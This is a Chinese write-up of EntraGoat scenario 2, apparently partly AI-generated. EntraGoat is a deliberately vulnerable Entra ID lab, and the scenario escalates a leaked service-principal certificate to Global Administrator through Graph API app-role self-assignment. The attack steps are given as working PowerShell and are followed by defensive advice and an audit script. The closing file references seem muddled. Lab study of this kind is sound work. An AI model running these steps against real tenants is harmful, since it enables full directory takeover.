Graph API权限滥用实战分析:3个步骤实现从证书泄露到全局管理员权限提升
Graph API权限滥用实战分析:3个步骤实现从证书泄露到全局管理员权限提升
【免费下载链接】EntraGoatA deliberately vulnerable Microsoft Entra ID environment. Learn identity security through hands-on, realistic attack challenges.项目地址: https://gitcode.com/GitHub_Trending/en/EntraGoat
EntraGoat场景2"Graph Me the Crown (and Roles)"展示了Microsoft Entra ID环境中一个极具代表性的安全漏洞:通过仅应用Graph权限实现从普通用户到全局管理员的完整权限升级路径。这个场景模拟了真实世界中证书泄露和过度权限配置导致的严重安全风险,为安全专业人员提供了宝贵的技术洞察和实践经验。
技术背景:Graph API权限模型的安全隐患
Microsoft Graph API是现代Microsoft 365和Entra ID生态系统的核心接口,提供了丰富的管理和查询功能。然而,其中某些权限组合可能创建危险的权限升级路径。场景2的核心漏洞在于AppRoleAssignment.ReadWrite.All权限的滥用,这个权限允许服务主体管理其他服务主体的角色分配。
在典型的DevOps环境中,证书管理不善和CI/CD管道配置错误常常导致敏感凭证泄露。当开发人员将PFX证书硬编码到脚本或日志输出中,攻击者就能利用这些泄露的证书进行身份验证,进而滥用过度配置的Graph权限实现权限提升。
漏洞原理:权限链式攻击的技术细节
场景2的技术漏洞基于一个简单的权限链:AppRoleAssignment.ReadWrite.All → RoleManagement.ReadWrite.Directory → 全局管理员。这个链条揭示了Microsoft Graph权限模型的几个关键安全问题:
权限继承与传递机制
- AppRoleAssignment.ReadWrite.All:允许服务主体为其他服务主体分配Graph API权限
- RoleManagement.ReadWrite.Directory:允许管理目录角色分配,包括全局管理员角色
- 权限自我授权:服务主体可以为自己分配新权限,绕过传统审批流程
证书身份验证的薄弱环节
证书身份验证虽然比密码更安全,但当证书管理不当时,风险同样严重。场景2中,攻击者从泄露的PFX证书开始,该证书属于"Corporate Finance Analytics"服务主体。这个证书包含了足够的信息让攻击者以服务主体身份进行身份验证。
攻击演示:实战权限升级步骤分析
步骤1:初始访问与证书验证
攻击者首先获得泄露的PFX证书,该证书包含在CI/CD日志中意外暴露。通过以下PowerShell代码,攻击者可以验证证书并识别相关服务主体:
# 证书解码与验证 $certBytes = [System.Convert]::FromBase64String($certBase64) $cert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2( $certBytes, $certPassword, [System.Security.Cryptography.X509Certificates.X509KeyStorageFlags]::Exportable ) # 查找匹配的应用注册 $matchingApp = Find-AppRegistrationByThumbprint -Thumbprint $cert.Thumbprint $appId = $matchingApp.AppId步骤2:权限滥用与自我授权
使用证书进行身份验证后,攻击者检查服务主体的现有权限,发现拥有AppRoleAssignment.ReadWrite.All权限。这个权限成为攻击的关键突破口:
# 以服务主体身份连接Graph API Connect-MgGraph -ClientId $appId -TenantId $tenantId -Certificate $cert # 获取Graph服务主体以查找可分配的权限 $graphSP = Get-MgServicePrincipal -Filter "appId eq '00000003-0000-0000-c000-000000000000'" # 查找并分配RoleManagement.ReadWrite.Directory权限 $roleManagementRole = $graphSP.AppRoles | Where-Object { $_.Value -eq "RoleManagement.ReadWrite.Directory" } $appRoleAssignmentParams = @{ PrincipalId = $spId ResourceId = $graphSP.Id AppRoleId = $roleManagementRole.Id } New-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $spId -BodyParameter $appRoleAssignmentParams步骤3:权限刷新与角色分配
由于Graph API权限是JWT令牌中的静态声明,攻击者需要重新认证以获取新权限。随后,利用新获得的RoleManagement.ReadWrite.Directory权限分配全局管理员角色:
# 重新认证以获取新权限 Disconnect-MgGraph Connect-MgGraph -ClientId $appId -TenantId $tenantId -Certificate $cert # 分配全局管理员角色给服务主体 $globalAdminRoleId = "62e90394-69f5-4237-9190-012177145e10" $globalAdminRole = Get-MgDirectoryRole -Filter "roleTemplateId eq '$globalAdminRoleId'" $roleMemberParams = @{ "@odata.id" = "https://graph.microsoft.com/v1.0/servicePrincipals/$spId" } New-MgDirectoryRoleMemberByRef -DirectoryRoleId $globalAdminRole.Id -BodyParameter $roleMemberParams防御策略:Graph API权限安全最佳实践
1. 最小权限原则实施
组织应严格遵循最小权限原则,仅为服务主体授予完成其功能所需的最低权限。对于Graph API权限,需要特别关注以下高风险权限:
- AppRoleAssignment.ReadWrite.All:仅授予绝对必要的场景
- RoleManagement.ReadWrite.Directory:限制为特权身份管理角色
- Directory.ReadWrite.All:避免过度授予写入权限
2. 证书生命周期管理
证书管理是防止此类攻击的第一道防线:
- 自动化证书轮换:实现定期自动轮换,减少泄露风险
- 集中式证书存储:使用Azure Key Vault等安全存储解决方案
- 访问监控:监控证书使用情况,检测异常访问模式
3. 权限审计与监控
定期审计Graph API权限配置是发现过度权限的关键:
# 审计服务主体权限脚本示例 $servicePrincipals = Get-MgServicePrincipal -All foreach ($sp in $servicePrincipals) { $appRoles = Get-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $sp.Id -All $highRiskRoles = $appRoles | Where-Object { $_.AppRoleId -in @( "06b708a9-e830-4db3-a914-8e69da51d44f", # AppRoleAssignment.ReadWrite.All "9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8" # RoleManagement.ReadWrite.Directory ) } if ($highRiskRoles) { Write-Host "高风险权限发现: $($sp.DisplayName)" -ForegroundColor Red } }4. CI/CD管道安全加固
DevOps环境是证书泄露的主要源头:
- 凭证扫描:在CI/CD管道中实施证书和密钥扫描
- 日志清理:确保敏感信息不会出现在日志输出中
- 最小权限服务主体:为CI/CD管道创建专用的最小权限服务主体
技术架构改进建议
权限审批工作流
实现权限分配的审批工作流,特别是对于高风险权限:
- 多因素审批:高风险权限需要多个管理员批准
- 时间限制:为临时权限设置过期时间
- 使用日志:记录所有权限分配和修改操作
实时威胁检测
基于异常行为模式检测权限滥用:
- 权限提升检测:监控短时间内权限大幅增加的服务主体
- 异常时间访问:检测非工作时间或异常地理位置的访问
- 权限链分析:识别可能形成权限升级链的权限组合
学习价值与安全启示
EntraGoat场景2为安全专业人员提供了多个重要启示:
1. 权限依赖关系分析
理解Graph API权限之间的依赖关系至关重要。某些权限组合可能创建意外的权限升级路径,安全团队需要定期分析权限依赖图,识别潜在的风险链。
2. 服务主体安全治理
服务主体作为非人类身份,往往被忽视安全治理。组织需要建立服务主体生命周期管理流程,包括创建、权限分配、监控和退役的全周期管理。
3. 纵深防御策略
单一防御措施不足以应对复杂的攻击链。组织需要实施多层次的安全控制:
- 网络层控制:限制服务主体的网络访问
- 身份层控制:实施条件访问策略
- 应用层控制:监控Graph API调用模式
- 数据层控制:保护敏感目录数据
4. 安全意识培训
开发人员和运维人员需要了解证书管理和权限配置的最佳实践。定期培训可以帮助减少人为错误导致的配置问题。
实战演练与技能提升
通过EntraGoat场景2的实战演练,安全专业人员可以获得以下技能提升:
- Graph API权限分析:深入理解Microsoft Graph权限模型
- 证书身份验证攻击:掌握证书泄露的利用技术
- 权限升级链构建:学习构建有效的权限升级路径
- 防御策略实施:实践权限审计和监控技术
总结:构建安全的Graph API权限模型
Graph API权限滥用攻击揭示了现代云身份安全面临的独特挑战。通过EntraGoat场景2的学习,组织可以更好地理解如何:
- 实施最小权限原则:严格限制服务主体的Graph API权限
- 加强证书管理:防止证书泄露和滥用
- 建立监控机制:实时检测权限滥用行为
- 定期审计权限:发现并修复过度权限配置
技术文档:docs/challenges.md提供了完整的挑战说明和解决方案指导。攻击脚本源码:scenarios/EntraGoat-Scenario2-Setup.ps1展示了具体的攻击实施细节,而防御配置:solutions/EntraGoat-Scenario2-Solution.ps1则提供了完整的防御思路和实现方案。
通过深入理解这些攻击技术和防御策略,安全团队可以更好地保护组织的Microsoft Entra ID环境,防范类似的权限升级攻击。💪
重要提示:请始终在授权的测试环境中使用EntraGoat,遵守所有适用的法律和规定。实际生产环境中的安全配置应基于最小权限原则和深度防御策略,定期进行安全审计和权限审查。
【免费下载链接】EntraGoatA deliberately vulnerable Microsoft Entra ID environment. Learn identity security through hands-on, realistic attack challenges.项目地址: https://gitcode.com/GitHub_Trending/en/EntraGoat
创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考